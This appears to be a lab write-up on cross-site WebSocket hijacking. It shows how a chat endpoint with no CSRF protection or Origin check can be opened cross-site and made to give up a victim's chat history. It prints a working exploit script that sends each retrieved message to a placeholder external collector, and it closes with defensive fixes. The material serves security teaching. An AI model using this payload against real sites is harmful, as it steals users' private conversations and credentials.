Cross-site WebSocket hijacking

Cross-site WebSocket hijacking is a vulnerability that arises when a WebSocket endpoint accepts connections without properly validating the origin of the request or protecting the handshake with anti-CSRF mechanisms. In this lab scenario, a live chat feature is implemented using WebSockets to support real-time communication between users and a support agent. When a user opens the chat and sends a message, the application establishes a persistent WebSocket connection. This connection is then reused not only for live messaging but also for retrieving historical chat data from the server, which introduces a sensitive data exposure surface.

The initial interaction begins by clicking “Live chat” and sending a chat message. This establishes the WebSocket connection and allows normal communication. When the page is reloaded, the application automatically reconnects to the WebSocket endpoint. At this point, Burp Suite’s WebSockets history tab reveals an important behavior: the client sends a READY command over the WebSocket. This command instructs the server to retrieve and return the full chat history associated with the current session. This demonstrates that the WebSocket channel is not limited to transient messages but also provides access to stored conversation data.

To understand the security posture of the connection, the WebSocket handshake request is examined in Burp Suite’s HTTP history tab. This handshake is responsible for upgrading the HTTP connection into a persistent WebSocket session. A critical observation is that this request contains no CSRF tokens or anti-forgery protections. There is also no meaningful restriction preventing cross-site initiation of the connection. As a result, the server relies primarily on session cookies automatically attached by the browser, which means any website capable of executing JavaScript in the victim’s browser can potentially initiate a fully authenticated WebSocket connection to the target application.

The exploitation process begins by extracting the WebSocket handshake URL. In Burp Suite, the handshake request is right-clicked and the URL is copied. This URL typically follows the wss:// scheme and points to an endpoint such as /chat on the target domain. The next step is to use an exploit server to host a malicious script. This script creates a WebSocket connection to the target endpoint using the victim’s browser context. Since the browser automatically includes authentication cookies when establishing the connection, the WebSocket session is authenticated as the victim without requiring any additional credentials or interaction.

The exploit payload used on the attacker-controlled page is structured as follows:

<script>
    var ws = new WebSocket('wss://your-websocket-url');

    ws.onopen = function() {
        ws.send("READY");
    };

    ws.onmessage = function(event) {
        fetch('https://your-collaborator-url', {
            method: 'POST',
            mode: 'no-cors',
            body: event.data
        });
    };
</script>

Once this script executes in the victim’s browser, the WebSocket connection is immediately established with the vulnerable server. When the connection opens, the script sends the READY command, which triggers the server to return the full chat history associated with the authenticated session. Each message returned over the WebSocket is then captured by the onmessage handler. Instead of being displayed only within the application, the data is forwarded to an external attacker-controlled endpoint using a fetch request, effectively exfiltrating the contents of the WebSocket responses.

After the exploit page is loaded and executed, Burp Collaborator begins receiving HTTP interactions. Each request corresponds to a message retrieved from the victim’s chat history and forwarded by the malicious script. These messages are transmitted in structured formats, often as JSON payloads, containing the full content of the conversation. Because the WebSocket connection is authenticated using the victim’s session, the data retrieved reflects the victim’s private chat history. Although messages may not always arrive in order, the attacker can reconstruct the conversation from the collected data.

When the exploit is delivered to the victim, additional interactions appear in Burp Collaborator. This confirms that the attack is executing within the victim’s browser environment. Among the retrieved chat messages, sensitive information may be present, including usernames and passwords, depending on what has been previously exchanged in the chat. In this lab, one of the messages contains the victim’s login credentials, which can then be used to authenticate directly into the victim’s account.

The root cause of this vulnerability is the absence of proper security controls during the WebSocket handshake. The server does not enforce CSRF protection, nor does it validate the Origin header to ensure that connections are initiated from trusted sources. As a result, the browser’s automatic inclusion of cookies allows any malicious site to impersonate the user at the transport layer by initiating a WebSocket connection on their behalf.

This issue is further amplified by the way the application handles commands over the WebSocket channel. The READY instruction acts as a trigger for retrieving sensitive data without requiring additional authorization checks. Once the connection is established, the server implicitly trusts all commands received over the WebSocket, assuming the connection itself is sufficient proof of legitimacy.

From a defensive standpoint, this vulnerability highlights the need to treat WebSocket handshakes with the same rigor as state-changing HTTP requests. CSRF tokens or equivalent protections should be applied to handshake requests to ensure they originate from legitimate application flows. The server should validate the Origin header and reject any connections that do not match allowed domains. Additionally, sensitive operations such as retrieving chat history should require explicit authorization checks beyond the initial connection authentication.

Ultimately, this lab demonstrates that WebSockets are not inherently secure or insecure; rather, their security depends entirely on how the handshake and message handling logic are implemented. When these protections are missing, attackers can abuse the browser’s trust model to establish authenticated connections cross-site and extract sensitive data directly from real-time communication channels.